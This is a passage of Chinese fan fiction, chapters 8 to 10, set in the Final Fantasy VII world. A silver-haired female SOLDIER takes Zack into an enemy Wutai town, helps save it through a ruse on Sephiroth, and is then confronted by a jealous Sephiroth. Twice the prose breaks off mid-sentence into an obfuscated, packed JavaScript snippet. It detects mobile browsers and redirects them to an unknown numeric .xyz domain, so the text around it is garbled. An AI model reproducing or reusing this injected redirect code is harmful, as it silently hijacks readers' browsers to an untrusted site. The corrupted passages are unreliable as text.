女人不由分说地拉着扎克斯就往外跑,来到了走廊的位置,此刻外面是3楼的高度,身后是那些混杂着的脚步声。 扎克斯感觉自己的手心都在流汗,他现在很想问问她所说的"享受生活"是什么。 但他已经来不及说什么了,因为她已经拉着他翻出了窗户。在日光下,他看到银发在风中飘扬,那个背影既潇洒又帅气,让人完全忘记了刚才的窘境。 风声自耳畔划过,湛蓝的眸子微微瞪大。 8. 第 8 章 因为我们跳下来的十分迅速,所以没有人发现我们。 不过现在重要的不是这个。 我脸着地了。 “前,前辈!你没事吧!” 他急匆匆的想要扶起我,却又因为显露出的大片肌肤不知该如何下手,于是便在我周围急得团团转。 我只是把脸深埋在草地里,一言不发,好像自己是一具尸体。 “前辈你难道晕倒了吗!” 没有。 我其实在想要不要灭口。 虽然刚刚翻下来的时候非常帅气,但是现在我一定灰头土脸的,见到我狼狈模样的人绝对不可以留活口。 别问为什么萨菲罗斯活着。 因为我打不过他。 过了一会,他慢慢的俯下身,然后,试探性的戳了戳我的脑袋。我猛地抬起头,把嘴里的草叶吐出来,认真的望着扎克斯:"你知道的太多了。" 扎克斯愣了一下,然后紧张地笑了:"前辈你在开玩笑吧?" "你觉得呢?"我歪着头看他。 他的表情变得更加慌乱了。 哈哈,好蠢。 "那个…前辈,"他试探性地说,"你知道我很会保守秘密的。" "哦?" "真的!"他举起手发誓,"我发誓绝对不会告诉任何人,包括安吉尔老师!" 我托腮思考:"但是你刚才看到了不该看的东西。" “我什么都没看见!前辈你脸着地的样子……” 他立刻说,然后意识到自己说漏了嘴,脸一下子红了。 扎克斯的蠢样成功取悦了我,虽然他最后一句话让我有些不爽,但我还是大人不记小人过的原谅了他。 伸出手,他就十分懂事的把身上的那件外套脱下来给我,孺子可教也。 我现在正式宣布,扎克斯就是我的头号小弟,如果未来我拿下神罗,高低我也要给他封个副总裁当当。 当然,我也给别人安排好了职位。 比如萨菲罗斯可以去神罗门口当保安,安吉尔继续在训练营当他的教官,杰内西斯可以发配到各地的魔晄炉里用来产能。 随便穿好了衣服后,我就拉着他大摇大摆的进了城。 首先我需要说,这套衣服是我路过城边的时候,随便抢了一个人的,当周围的居民对我们显露出那种尊敬和好奇的目光之时,我才意识到有什么不对劲。 低了低头,我看到了外套上的徽章,还在闪闪发光,金属表面的文字我并不认识。 而扎克斯穿着的里衣就也挺高级,一看就知道是什么特殊的布料,我伸出手,扯了扯他的衣角,没想到好像在发呆的少年一下被我差点没拽倒。 “哈哈!” 我毫不犹豫的发出笑声,随后他就以一个不可思议的姿势稳住了平衡,接着挠了挠头,不解的看着我。 “前辈,怎么了?” 因为刚刚的动作,有一张纸从他的内衫口袋里掉了出来,我俯下身捡起,扎克斯也凑了过来。 “啊,怎么有张纸,前辈,这是什么意思啊?” 他俯下身,凑到我旁边跟我一起看,黑发弄得我有点痒,但是我现在专心要在小弟面前证明自己,暂且也没把他推开。 “呵呵,这个是……” 糟糕,这都是什么?明明这些字单个我都看得懂,为什么连起来就完全无法理解了呢? 可恶,我的阅读能力可是十分强劲的,曾经在一晚上直接看完了全部的《神罗特种兵在都市》,不该发生这样的事。 “等等,这是什么加密的特殊密令吗?哇,不会是什么厉害的情报吧。” “对,就是如此。” 我老神在在的回应,接着将那张纸收回了口袋里,把扎克斯的脑袋推开后,抱胸望着他。 “不过,这不是什么要紧的事情,首要的是我要带你‘享受人生’。” 黑发少年的注意力马上就被吸引了,他点点头后,期待的看着我。 这点小插曲并不能打断我原先的安排。 我的安排被打断了。 走着走着,还没等我找到之前在终端上评价最高的那家面条店,我们就被围住了。 正在对面的好像是这座城池的城主,他满脸恭谨且激动的望着我们。 “你们就是总督大人派过来的使者吗?看来我们有救了!” 接着,他就在自顾自的说着些什么“我们的位置很危险”“袭击在几天后也说不定”“太靠近战线了”。 我和扎克斯也不明白,只是学着城主身后那些小喽啰一样,表现出认真且意味深长的表情然后点头。 这时,表达完自己的激动后,城主的视线移到了我身上,可能是我跟萨菲罗斯过于相似的配色让他想到了不好的事情,稍稍后退一步,然后,抬头望向了扎克斯。 “这……” “……” 扎克斯好像情绪有些不大对劲,我看到了他稍稍颤抖的右手,这种时候,我才缓缓地意识到,他大概在紧张。 紧张什么? 不就是被我带去了敌军大本营之一里吗? 为了安抚他,我握住了他的手,少年愣了愣,稍稍低头与我四目相对。 我大概感觉到扎克斯没有那么紧张了,至少他的手没有再抖。 看来安慰萨菲罗斯的动作对我的小弟也有用,我真是举一反三的高手。 “这位,就是我们五台的特殊武器吧?” 那城主靠近了些,用极其小声的声音在扎克斯面前说着。 “对……” “太好了!” 男人显露出了感恩涕零的神色,我毫不怀疑他可能会给扎克斯下跪,他走回去,对后面的几人说了些什么后,大家都是那副“我懂了”“原来是这样”的表情,接着散开。 现在道路上只剩下我们两个人。 城主走过我身边的时候,用那种期待的语气在我耳畔低语。 “一定要打爆那群神罗狗。” 打谁? 不过看起来,我的计划没有被打断,还好。 于是我带着我的小弟一齐往城里面走,一路上,倒是有挺多人盯着我们。 大家都是用那种仿佛救星来到的表情望着扎克斯,对我反而是有些害怕而且好奇,好像我是什么奇妙生物。 不知道刚刚那个城主是不是宣布了什么,倒是没人敢靠近我们。 不对,其实有。 一个小女孩从路边跑了过来,她的手上拿着一篮小果篮,大概是还没学好走路的年龄,有些颤颤巍巍的,最后停在了我们面前。 “妈妈说,给,给你……” 扎克斯愣住了,我感觉到他握着我的手有些收紧,黑发少年的喉结上下滚动,他张了张嘴,最后什么都没说。 路人的视线都聚焦到我们身上,他最终还是俯下身,拿起了果篮,孩子笑着跑回了母亲的身边。 其实篮子里面没有什么名贵的水果,大概都是五台当地比较普通的类型,但是我也没怎么见过,于是理所应当的从扎克斯手里抢了过来,端详着看。 “前辈……” 他低声唤道,声音里带着几分不明的情绪。 我正专注地打量着周围摊位上的小吃,闻言抬起头:"怎么了?" "我们这样…" 就在此时,我找到了那家在测评上满分的店铺,眼前一亮,就拉着没说完话的扎克斯跑了过去。 店内,我掏出了我之前攒起的Gil,十分豪爽的替我和扎克斯一齐点了一碗最豪华的面条。随后,把果篮放在桌子上,乖乖坐好等待着上菜。 扎克斯坐在我旁边,他的手心一直在冒汗,我已经开始怀疑他是不是忘记自己握着我的手了。 —— 但看黑发少年这副模样,让我想起小时候的萨菲罗斯。 有些时候,萨菲罗斯就会和我窝在一起,并且死死的抓握着我的手,露出各种奇怪的表情。 一般是他出任务回来,或者是我出完任务后不见了(我喜欢出去玩),又或者是我们进行了每年一次的“死斗评估”后。 “你会一直呆在我身边吧?” “不要离开我……” “对不起,痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479151|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗,都是我的错……” 说着这样的话。 —— 但扎克斯没有说话,他低迷的很,手劲却很大,如果不是异于常人,我的手估计都要扭到了。 面不一会就上到了,我开开心心的准备吃,就看见服务员将我先前支付的Gil放在了桌子上,那是一位脸上带着些许雀斑的少女。 “使者大人,你们好好吃吧!这次我们请客!” 还有这种好事? 我顿时喜笑颜开,准备抽出手拿起筷子爽吃,就被扎克斯的动作打断了。 “前,前辈……你知道那个密令是什么意思吗?” “当然,你等等啊。” 秉承着不能在小弟面前丢脸的原则,我拿出终端,装作自己要开始认真破译,实则拍照发给了萨菲罗斯。 终端震动了一下,我就知道萨菲罗斯总是会秒回我。 点开消息,看到他发来简短的回复:"这是什么?" 我陷入了头脑风暴,随后立马想好了借口。 “这是杰内西斯出给我的题,他说我这种从来没去开过一次会的人肯定不明白,你帮我弄出来。” “等一下。” 扎克斯在旁边如坐针毡的望着我,那双蔚蓝的眸子里是赤裸裸的期待,于是我也装模做样的用单手在终端屏幕上划拉了几下。 很快,萨菲罗斯就将破译后的图片发给了我,我不知道他怎么做到操作这么快的,按理而言,他应该是在战场上。 “喏,你看吧。” 我把终端递给扎克斯后,他才终于松开我的手,解放过后,我开始吃我的面条。 【来自总督的命令:……】 扎克斯确认了好几遍上面的字,确认不是自己看错了。 “弃城”,“城主和副城主明日撤离”,“往后方移动”…… 原来这并不是一封由信使带来的支援信,而是一封递交给城主的秘密撤离书。 “……” 扎克斯觉得心里有些难受,闷闷的。 这座城与战线的距离相当的近,昨天的会议里,指挥官就标注了这座城的坐标,当时的他正在昏昏欲睡,只是大概记住了一些只言片语。 “这座城现在就只有城主和几人在固守,一个上午就可以处理掉。” 所以,是这样的消息吗? 为什么会变成这样? 在路边看到的那一张张带着期待的面容,女孩颤颤巍巍的步伐,服务员少女信赖的目光。 浅薄简单的互动,被添加上了不属于它的重量。 地图上的战线已经相当靠近了,明明早就应该是一场属于神罗的压倒性胜利,为什么还在继续? 他不由得开始回忆起会议上的内容,但除了模模糊糊的地图和几句话,无论再如何想,都记不起更多了,这种时候,扎克斯开始自责起自己的不专心。 黑发少年终于放下终端,抬起头,与把筷子正伸进他碗里的银发女人面面相觑。 “……” 她快速的把一块肉夹走后,咳了咳,开口。 “怎么了?你这是什么表情?密令上写着什么?” “前,前辈……这是一封撤离信。” 于是,扎克斯沮丧的把信息大概都复述给她听,对方边听着边吃面,一副悠闲的模样。 见她这般,扎克斯垂下了脑袋,连碗里又被夹走一块肉都没注意到,热气腾腾的香气扑鼻,他却没有丝毫胃口。 很奇怪吧? 明明是敌人,明明是对面的城池…… “扎克斯,你怎么了?你到底吃不吃面了?” “我想要帮他们,这太不公平了,平民们明明什么都不知道……” 扎克斯猛地抬头,内心的话语脱口而出,随后,他意识到自己说了些怎样的话语——在战场上同情敌人。 按照神罗的规矩,已经算是逃兵了。 “哦,好啊。” 黑发少年转过头,与端着碗的她对上了视线,女人的嘴角还沾着汤汁,将剩下的面条扒拉进嘴里。 一副自然的模样。 9. 第 9 章 我吃面的时候有个习惯。 比如,我会故意用筷子把面条一圈一圈缠起来,卷成一团再吃掉。如果我是和萨菲罗斯一起吃东西的话,这种时候他就会稍稍皱眉,拍我的手背。 “不要玩食物。” “前辈,为什么要这样卷起来呢?难道是有什么秘诀吗!” 旁边的黑发少年学着我的动作,将那一团面缠在筷子上,接着对我眨了眨眼。 “好玩。” 他似懂非懂的点了点头后,接着把筷子伸进嘴里,咀嚼着吃掉。 “但是前辈,我觉得这个不好玩啊?” “说明你没有品味。” 少年一下沮丧起来了,很快吃完面后,他就把脸趴在桌子上,接着盯着我看。 我早已习惯了他人的凝视(谢谢你某个白毛),十分自然的吃起了面,因为偷了很多扎克斯的肉,吃的比他慢一些。当服务员小姐过来帮我们收拾碗筷的时候,扎克斯已经凝视了我10分钟。 我转过头,与那双蔚蓝的眸子相对。 “前辈,你好好看啊。还有刚刚直接就答应我了,好帅气。” 他突然开口,也没有避开我的视线,抿唇笑起来。 我登时得意起来,挑了挑眉后勉强压下上扬的嘴角,故作正经的咳了咳。 “好吧,我收回刚刚那句话,你的品味还是不错的。” 扎克斯的笑容稍微扩大了些,我看见他把脸往桌子上埋了埋,耳朵有点红。 我摸了摸桌子,有些冰凉。 不过有这么热吗?热到要拿桌子凉凉? 我们吃完后,一齐来到了面馆外的小巷子里,扎克斯当然不知道为什么要来这里,我是很清楚的。 关于如何帮这座城里面的人呢? 让他们主动投降就好了。 但是是固守的城池,本身可能也就抱着拼死一战的信念,五台人大多都是很有骨气的,这一点我比起任何人都要清楚。 会有无论如何也想从我身上撕下一块肉的士兵,明明已经被捅穿了胸膛,还死死的盯着我。 不过为什么要这么饱含恨意的看着我呢?我和那些天天在基地里等着家人回信的大头兵一样,都只是臭打工的。 先不说这个。 要让这些想要拼一把的人投降,很简单。 让他们意识到这是必输的局面就好了。 在战场上所向披靡的萨菲罗斯,那个收刀之时,城门即破的英雄。如果敌人是他,那就是必死的结局,当然不会有人想要完全无意义的死去。 听了我的方案后,扎克斯若有所思的点点头。 “原来是这样,如果是萨菲罗斯将军……不过前辈,那你呢?” “什么?” 少年挠了挠头后,望着我身后大太刀的刀鞘,好奇的发问。 “我的意思是,前辈你也很厉害啊!在军中,你是跟萨菲罗斯将军齐名的呢!为什么你在五台就没有名气呢?” 扎克斯,你这家伙,真是有品味的过头了。 但是为什么我在五台军内没有名气呢? 哦,因为见到我的人都死了。 神罗好似也知道我的行事风格,交给我的也都是剿灭任务。 但我当然不可以跟崇拜我的小弟说老大我做的都是见不得人的活计。 “因为我和萨菲罗斯不一样,我比较低调。” 嘻嘻,踩他一下。 按照萨菲罗斯的效率,两天应该就能结束南边的事宜,现在他大概在返回基地的路上。 而这座城池不是我们1st的任务,是神罗军那边管辖的,如果贸然插手,可能会被指挥官穿小鞋。 但指挥官不敢针对我,因为我看起来就是那种心情不好就会把神罗大厦炸了的人,指挥官也不敢针对萨菲罗斯,因为他是英雄。 不过萨菲罗斯也从来没做过错事也就对了。 拿出终端,调到跟萨菲罗斯的聊天界面,趁扎克斯凑过来看的间隙,我立马把刚刚的聊天记录删掉,保持我高高在上光明磊落的形象。 【在吗?】 他依然秒回。 【什么事?】 我深度思考了一会。 【我被俘了。】 【对方转账:5000Gil】 ? 给我钱什么意思? 【够了吗?】 可恶,看来是我长期以来的乞讨话术让萨菲罗斯误会了什么。 我之前经常跟萨菲罗斯发各种意味不明的消息,比如说我叛逃神罗目前在被追捕/失误掉入魔晄炉/失手杀害宝条这类的话,最后都是为了跟他要钱。 但在扎克斯面前,我当然不可以领。 【我被俘了(认真.jpg)】 【对方转账:5000Gil】 在扎克斯疑惑且期待的目光下,我的手指颤抖,这简直比前些天让我从萨菲罗斯(战斗爽)和杰内西斯(报仇雪恨)里面选一个做战斗训练还纠结。 【我不是要钱,萨菲罗斯,我认真的。】 现在轮到那边沉默了,他大概在进行思考吧。 【地点,在原地等着。】 如果萨菲罗斯拿着他的正宗来城前,我不确定这些人能活着。 【不不不,只要你跟上头说要来这座城,发个行动报告,他们就放我走了。】 那边再次沉默了。 扎克斯发出疑惑的声音。 “前辈,这样真的可以吗?” 别吵,看我操作。 【地点给我。】 【(地点分享)就这座城,你不要过来,我等下就被放走了】 “你看,这样不就可以了吗?” 我一副十分自信的模样,放下终端后摆了摆手,“不经意”的摆出悠闲帅气的结算pose。 "不过前辈,"扎克斯犹豫了一下,"这样骗萨菲罗斯将军将军真的好吗?" "这怎么能叫骗呢?"我理直气壮地说,"我这是在执行秘密任务。" "可是…" "没什么可是的,"我打断他,"你想救这座城的人吧?" 扎克斯点点头。 "那就别问那么多了。只要他一发行动报告,五台的卧底就会把信息传过来给这边的城主,然后我们就能救下所有人。" "前辈真是…太厉害了。"扎克斯眼睛亮晶晶的,"不仅实力强大,而且还这么有智慧…" 我得意地扬起下巴:"那当然。" 现在到了关键的另一步,比如为什么我要带他来这条巷子。 因为先前我看战术地图的时候(这座城有好吃的面条),注意到了在这个位置的城墙比较矮,只有6米,当然,是相对我而言。 “好的,扎克斯,我们现在从这里翻走吧。” 扎克斯抬头,然后,再抬头,最后望着我。 “呃……前辈,梯子在哪啊?” “没有梯子,跳出去不就好了。” —— 扎克斯的表情茫然了一瞬。 是要从这有三个他那么高的墙上翻过去吗? 面前的银发女人拉了拉肩头的外套,她的军靴轻轻踢击地面,等待着,见他一动不动,于是歪头看他,像是在说你为什么还不动。 "……” 来到五台迄今为止,扎克斯从未想过最难的任务居然是“跳”过一个6米高的城墙,仿佛这是一个随处可见的小土丘。 那双荧光绿色的眸子看着他,扎克斯咽了口唾沫后,深吸一口气,然后,用力一跃。 他撞到了墙上。 “噗——” 扎克斯摸了摸自己疼痛的鼻子,回过头,望见了她的笑容,毫不掩饰。 黑发少年稍稍低下头,走到她身畔,有些沮丧。 “对不起前辈,我过不去。” “你就这样直接跳肯定过不去啊?真是的,你先翻那里,然后从那个地方垫一下,接着跳过去不就行了。” 她边笑着,边用手随意的比划了一下,扎克斯感觉自己有些晕。 “啊……” “不会吗?算了,喏。” 我俯下身,摆出了要背他的姿势,扎克斯在那里站着不过来,像是傻了。 “不过来吗?我背你过去。” 说实话,现在的扎克斯比我稍稍高了10cm多一点,但背他也是绰绰有余,毕竟我之前可是能把萨菲罗斯扛起来的,他那点大小还是不够看。 “哦……哦!好!” 少年束手束脚的走过来,接着小心翼翼地把手搭在我的肩膀上,触及到肌肤的时候,就跟触电一样瑟缩了回去,当半个身体压在我背后时,我能感觉到他身体的微微颤抖。 他好像很紧张。 手臂环绕在我的肩膀上,触碰轻得像是怕弄坏什么珍贵的瓷器。他的心脏隔着衣物快速跳动,像是一只被困在笼子里的小鸟。 黑色的发丝挠着我的脖子,有些痒。 回去应该跟安吉尔说一声,给扎克斯剃个头什么的,太碍事了。 "前辈...我会不会太重了?"扎克斯还不知道我的心思,他的声音近乎耳语,温热的呼吸拂过我的耳垂。 "哈?你在开玩笑吗?"我回过神,不屑地嗤笑一声,手臂轻松地托起他的大腿,"你比刚刚的那碗面条还轻。" 我深吸一口气,双腿微微弯曲,像是蓄积的弹簧。脚尖在地面轻点,瞬间,我们腾空而起。风声在耳边呼啸,扎克斯的手紧紧抓住了我的肩膀,他的惊呼卡在了喉咙里。 第一步,我的脚尖恰好踩在了突出的砖缝上;第二步,借力于一根斜出的木梁;第三步,墙上的一处凸起刚好成为踏板。每一个落点都精准无误,仿佛我曾千百次地练习过这个路线。 "哇啊啊啊——" 当我们越过城墙最高处,扎克斯终于忍不住叫出声来。失重的感觉只持续了一瞬,随后我稳稳地落在了城墙外侧的斜坡上,膝盖微弯吸收冲击力,扎克斯的惊叫戛然而止。 "到了。"我松开手,让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479152|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从我背上滑下来。 扎克斯站在原地,双腿微微发抖,瞪大了眼睛。他张开嘴,合上,又张开,像是一条搁浅的鱼。 "那...那也太..."他结结巴巴地说不出完整的句子。 "怎么?难道你以为我们要翻六米高的墙很难吗?" "不是,前辈,"扎克斯终于找回了自己的声音,"你刚才简直像在..."他比划着,寻找合适的词汇,"像在水面上漂浮一样!那么轻松,那么..." 我摆摆手,打断了他的赞美:"行了行了,别说这些没用的。我们得赶紧回基地,不然被发现就麻烦了。" 月光洒在五台的山野上,将灌木丛的影子拉得很长。远处,神罗的基地灯火通明,像是黑暗中的一座孤岛。我们沿着小路快步前进,脚下的泥土还带着白天阳光的余温。 扎克斯跟在我身后,脚步轻快了许多,似乎刚才的震惊已经转化为一种奇特的兴奋。 "前辈,"他小跑着追上我,"城里的那些人...真的会没事吗?" "当然,"我头也不回地说,"萨菲罗斯一发报告,城主就会撤退。只要城里没有反抗,神罗也不会赶尽杀绝。" "那就好,"他松了口气,"真希望能看到那些孩子安全..." 我拍了拍胸脯,对他自信道。 “那当然啦,毕竟答应你了不是吗?” 少年点了点头,随后开开心心的笑起来,看他傻傻的,我也笑了。 走着走着,我们的好心情被突然响起的警报声打断。基地方向的灯光变成了红色,刺耳的警笛声划破了夜空的宁静。 "糟了,"扎克斯倒吸一口凉气,"是紧急集合信号!" 我眯起眼睛,观察着远处的动静。基地的大门开启,一辆辆军用卡车鱼贯而出,车灯的光束在黑暗中划出长长的痕迹。 "有情况,"我压低声音,"看来我们得加快速度了。" "前辈,会不会是..."扎克斯欲言又止。 "最好不是。" 我抓住他的手,拉着他向基地方向跑去。夜风吹起我的银发,心脏在胸腔中有力地跳动。 这种预感不太好,就像每次萨菲罗斯要来找我麻烦之前的那种感觉。 但是我已经想好借口了,所以应该不会有什么事吧… 吧? 我的终端在口袋里震动起来。 "前辈,你的终端..." "不用管它,"我咬牙道,"不管是谁,现在都不是接听的时候。" 终端越震越频繁,仿佛里面装了一只愤怒的蜂鸟。我强忍着把它掏出来扔掉的冲动,加快了脚步。 "前辈,"扎克斯突然停下来,指着远处,"那是..." 一个熟悉的身影站在前方的山坡上,银发在月光下如同流水般闪烁。修长的身躯仿佛与夜色融为一体,只有那双魔晄色的眼眸在黑暗中发着幽光。 他的视线凝固在我拉着扎克斯的手上,随后移开。 "啊...完了。"我小声嘀咕。 萨菲罗斯站在那里,双臂交叉在胸前,正宗刀斜挂在腰间。他没有穿战斗服,而是一身便装,显然是临时赶来的。即使如此,那股压迫感依然让扎克斯不自觉地挺直了背脊。 "..." 扎克斯结结巴巴地说不出话来,显然是被吓到了。 "萨菲罗斯将军!"他终于找回自己的声音,立正敬礼,"扎克斯·菲尔向您报到!" 萨菲罗斯的目光从他身上扫过,然后落在我身上,我不知为什么有些心虚,于是松开与扎克斯相握的手,抬手对他晃了晃。 "哟,"我故作轻松地打招呼,"这么巧啊,你怎么在这里?" 他的声音出奇地平静,这通常是暴风雨前的征兆,"解释一下。" "解释什么?"我装傻充愣,"我只是带新人出来见识一下五台风光嘛。" 萨菲罗斯缓缓走下山坡,每一步都像是踩在我心上。扎克斯僵在原地,不知所措,最后把目光落在我身上。 "指挥部收到了有关五台人特殊武器的情报,"萨菲罗斯平静地说,"据说,那是以我为原型的克隆人。" "哇,真的吗?"我睁大眼睛,一脸无辜,"那可太危险了,我们得赶紧回去帮忙。" 萨菲罗斯盯着我,眼中的锐利几乎能刺穿我的伪装:"整个神罗军现在都在找你们。" "啊?"扎克斯惊呼,"找我们?为什么?" "因为,"萨菲罗斯的目光依然没有离开我,"整个基地只有你和他不见踪影。" 扎克斯瞪大了眼睛,张口结舌。我则是抓了抓后脑勺,避开萨菲罗斯的视线。 "哈哈,真是太巧了,"我干笑两声,"我俩正好出去了。" 萨菲罗斯向前一步,直到我们之间只有一臂之距。他俯视着我,声音低得只有我能听见:"你去了敌城,就是为了一碗面?" 我的笑容僵在脸上:"呃...其实是两碗..." 10. 第 10 章 我没有意识到萨菲罗斯为何会知道我的行程,最后只是低头盯着地面看。 哇,他今天穿的靴子是不是垫了? 呵呵我就知道萨菲罗斯的身高是假的。 "为什么神罗基地会收到情报,说五台人拥有一个以我为原型的克隆人?" 哎,他鞋子右边那里有只蚂蚁。 “咳咳,前辈。” 扎克斯的声音把我拉回了现实,我不得不抬头,面对萨菲罗斯,最后,对他解释。 “那是他们误会了,呃……我和扎克斯穿了他们使者的制服。衣服是我随便在路边抢的啦。” 萨菲罗斯眯了眯眼,上下打量我,视线停留在我胸前那个徽章上,随后走近,俯下身,伸出手准备检查一下我的衣服,扎克斯忽然想到什么,出声制止。 “等等,萨菲罗斯将军!” 没来得及,他已经解开了我领口的口子。 下面显露的肌肤白皙,萨菲罗斯的表情空白了一瞬,随后把扣子系上,看了眼扎克斯身上穿着的同款内衫,黑发少年顿时挺直了腰背。 “……” 气氛安静了。 不知道为什么大家不说话了,但是我总感觉不应该开口,于是继续盯着地上的那只蚂蚁看。 几只蚂蚁正忙碌地搬运着一片树叶碎片,它们的行动路线形成了一条完美的曲线,那个圆可真圆。 我忽然感觉到肩膀上稍稍重了一下,抬头,是萨菲罗斯,他脱下了自己的风衣披在我身上。 我可以说很热吗? 但是看到萨菲罗斯那种眼神,最后我选择了闭嘴。 扎克斯跟着我一齐走在萨菲罗斯身后,他有些丧气,像个做错事的孩子,但很快就调整了过来,而我悠哉游哉的往回走,回味着那家面条的味道。 萨菲罗斯在前面时不时拿起终端敲几下,我觉得他大概是在帮我搞定事情。 不过,他的风衣实在是有些太长了,走起路来有些拖地,而且我真的好热,于是用眼神暗示扎克斯。 【这衣服给你穿吧,你冷吗?】 扎克斯茫然地眨了眨眼,对我摇了摇头,示意他不冷。 我好像什么都没看到似的突然惊呼。 “扎克斯,你很冷吗?快快快,我这里有件衣服。” 我迅速的将身上的黑色长风衣扯掉后,十分贴心的披在少年身上,甚至关切地替他系好了第一颗扣子,他热的涨红了脸。 看他像个笨拙的企鹅,我差点没忍住笑出声,脑海里不断地回忆之前零食还没吃就过期的事,我才勉强压下嘴角。 转过头,发现萨菲罗斯不知何时停下了步子,深深的凝视着我们。 "你在做什么?"他的声音听不出喜怒。 "帮扎克斯保暖啊,"我理直气壮地说,"你看他穿得这么少。" "是…是的!"扎克斯结结巴巴地附和,虽然他的额头已经开始冒汗。 萨菲罗斯沉默片刻,突然伸手解开了扎克斯身上的风衣扣子。后者惊得一动不动,向我投以求救的目光。 我装作没看见。 结果他转向了我,把风衣重新披在我身上,这次他亲自系好了每一颗纽扣,动作既快速又细致,我要被闷死了。 "走吧。"他简短地说。 我撇了撇嘴,跟在他身后。这件风衣实在太热了,但看他的样子,我大概最好还是保持安静。 扎克斯走在我旁边,时不时用担忧的眼神瞄我一眼。我朝他挤了挤眼睛,示意没事。 突然,萨菲罗斯停下脚步:"扎克斯。" "是!"黑发少年立刻挺直腰板。 "明天早上,训练场见。" 扎克斯瞬间沮丧了起来,但还是坚定地点头:"是的,长官!" 我张开嘴想说什么,但萨菲罗斯已经继续往前走了。 回到基地后,扎克斯被安吉尔叫走了。临走前,他欲言又止地看着我,最后只是挥了挥手。 "前辈...明天见。" 再见了小弟,希望你明天不被萨菲罗斯训死。 现在就剩下我和萨菲罗斯了。我觉得应该说点什么,打破这个沉默。 "那个,你回来的真快啊。" "..." "南边的战事结束了?" "..." "对了,你报告发了吧?" 萨菲罗斯突然转身,逼近了一步。我下意识后退,后背碰到了墙壁。 现在的处境有些尴尬,我俩在宿舍的外面,没什么人,只有头顶正在发光的照明灯。 他沉默地注视着我,双手撑在墙上,将我圈在他的手臂之间。 糟了,又要被训斥一顿。 我仰起头,盯着天花板上的照明灯。那个灯泡好像在闪烁,是不是该让人来修一修? 我现在真的很担心基地内的基建质量。 "看着我。"萨菲罗斯说。 "我在看那个灯泡,"我说,"它好像快坏了。" 他忽然叫了我的名字。 "嗯?叫我干嘛?" "为什么要去那座城?" 我终于把目光从灯泡上移开,对上他的眼睛。那双魔晄眼瞳在昏暗的走廊里格外明显。 "因为那里有好吃的面条啊。" 他的嘴角抽动了一下。"就因为这个?" "当然了,"我理直气壮地说,"而且我还顺便救了一座城呢。你看,这不是一举两得吗?" 萨菲罗斯的眉头皱得更深了。"你知道你这样做有多危险吗?" "没什么危险的,"我摆摆手,"我带着扎克斯呢。" "所以你就带着一个新兵去敌方阵营?" "他可不是普通的新兵,"我为我的小弟辩护,"他可是能跟我一起吃面的人。" 萨菲罗斯深吸一口气,像是在压抑什么情绪。"如果你被发现了怎么办?" "那不是没被发现吗?"我反问,"而且就算被发现了,我不是还有你吗?" 他愣了一下。 "你看,我一发消息你就来了,"我继续说,"虽然来得有点太快了,我还没回基地呢。" 萨菲罗斯盯着我看了很久,久到我差点又想去看那个灯泡。最后,他缓缓开口:"你就这么相信我会来?" "那当然,"我说,"你不是一直都会来吗?" 这句话似乎触动了什么。他的表情变得复杂起来,既像是被取悦了,又像是被激怒了。 "所以你觉得,无论你做什么,我都会帮你?" "这不是很明显吗?"我眨眨眼,"不然你现在在这里干什么?" 萨菲罗斯又不说话了。 “你报告发了吗?” 我再次问。 “……发了,现在不要说这个。” 有什么事情是比这个还重要的?我不知道—— 等等,难道萨菲罗斯知道我偷偷趁他不在基地把他护发素换掉的事情了吗? 我表情一瞬之间变得慌乱起来,萨菲罗斯此刻显得好像明白了什么,更让我恐慌了。 要知道他可是相当爱护他的头发的。 男人忽然伸出手半掐着我的脸颊,因为此刻的心虚,我没敢踢开他。 “回来的时候为什么里衣不见了?还有……最近都跟那个新兵在一起?” 见他第一时间问的不是护发素的问题,我松了口气,没想到他还是太熟悉我了,一下就察觉到了可能有更多的问题,眉头紧皱,压得更近。 本来他的衣服就在我身上,萨菲罗斯这个人也很大只,我现在已经各种意义上的汗流浃背了。 “还有什么瞒着我?你们真的只去吃面了?” “没瞒着你,真的就去吃面啊!不吃面还能干什么?” 他掐着我脸的动作稍稍用力了一点。 “……你说呢?” 我说? 我说个屁,现在我感觉自己就在一个蒸笼里。 他如果说我把他护发素换成肥皂掺水我也认了,赶紧放开我吧。 实在是受不了,我去咬他的手指,他也没有松开,只是仍由我在他的指头留下牙印,当然我不可能把他咬出血,最后还是没用力。 结果他没拿出来,指尖卡在我嘴里,让我更加难受了。 不行,我必须要做些什么,不然明天整个营地都会传出“某个神罗1st因为太热在基地晕倒”这种说法,然后我就可以不用出门了。 一个词语在我脑海里突兀的闪过。 “萨菲罗斯,你吃醋了吗?” “……!” 他猛地抽回了手,仿佛被烫到一般,那双魔晄色的眼睛微微睁大。 这种表情在他脸上实在罕见,让我忍不住多看了两眼。 趁他愣神的瞬间,我赶紧把身上那件闷热的风衣解开了两颗扣子,总算能呼吸了。看着他面无表情却又明显慌乱的样子,我简直想笑出声。 之前提到这个词,他的情绪波动也非常明显,虽然当时我的表现十分丢人,但此刻,这就是我的破局秘诀啊! "萨菲罗斯,"我趁热打铁,"你真的吃醋了吗?好奇怪哦,又不是什么女主争宠..." 他很快就恢复了平时的冷静,收回手后,站在我面前,此刻眼睛微微眯起。 "你知道吃醋是什么意思吗?"他反问道。 "当然知道!"我不假思索地回答,"就是男主后宫团看到别的女人接近主角时的感觉嘛。" 